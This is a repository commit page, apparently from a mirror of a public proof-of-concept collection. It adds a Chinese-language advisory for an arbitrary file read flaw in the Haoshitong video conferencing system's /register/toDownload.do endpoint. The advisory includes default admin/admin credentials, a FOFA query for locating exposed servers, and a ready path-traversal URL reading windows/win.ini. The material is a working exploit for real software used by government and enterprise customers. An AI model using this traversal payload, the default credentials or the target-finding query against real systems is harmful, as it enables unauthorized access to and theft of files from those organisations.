admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 好视通视频会议系统 toDownload.do接口 任意文件读取漏洞.md

Browse Source
This commit is contained in:
wy876 2023-11-24 19:42:35 +08:00 committed by GitHub
parent 23ad46201a
commit aaa6091e84
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 18 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
好视通视频会议系统 toDownload.do接口 任意文件读取漏洞.md Normal file
View File

@ -0,0 +1,18 @@
## 好视通视频会议系统 toDownload.do接口任意文件读取漏洞
好视通 是国内云视频会议知名品牌，拥有多项创新核心技术优势、多方通信服务牌照及行业全面资质 ，专注为政府、公检法司、教育、集团企业等用户提供“云+端+业务全场景”解决方案。其视频会议系统的路径(fastmeeting) /register/toDownload.do?fileName= 存在任意文件遍历漏洞，可通过fileName参数读取任意文件。
弱口令admin/admin
## fofa
```
"深圳银澎云计算有限公司"
```
## poc
```
/register/toDownload.do?fileName=敏感文件路径
https://xxxxxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini
```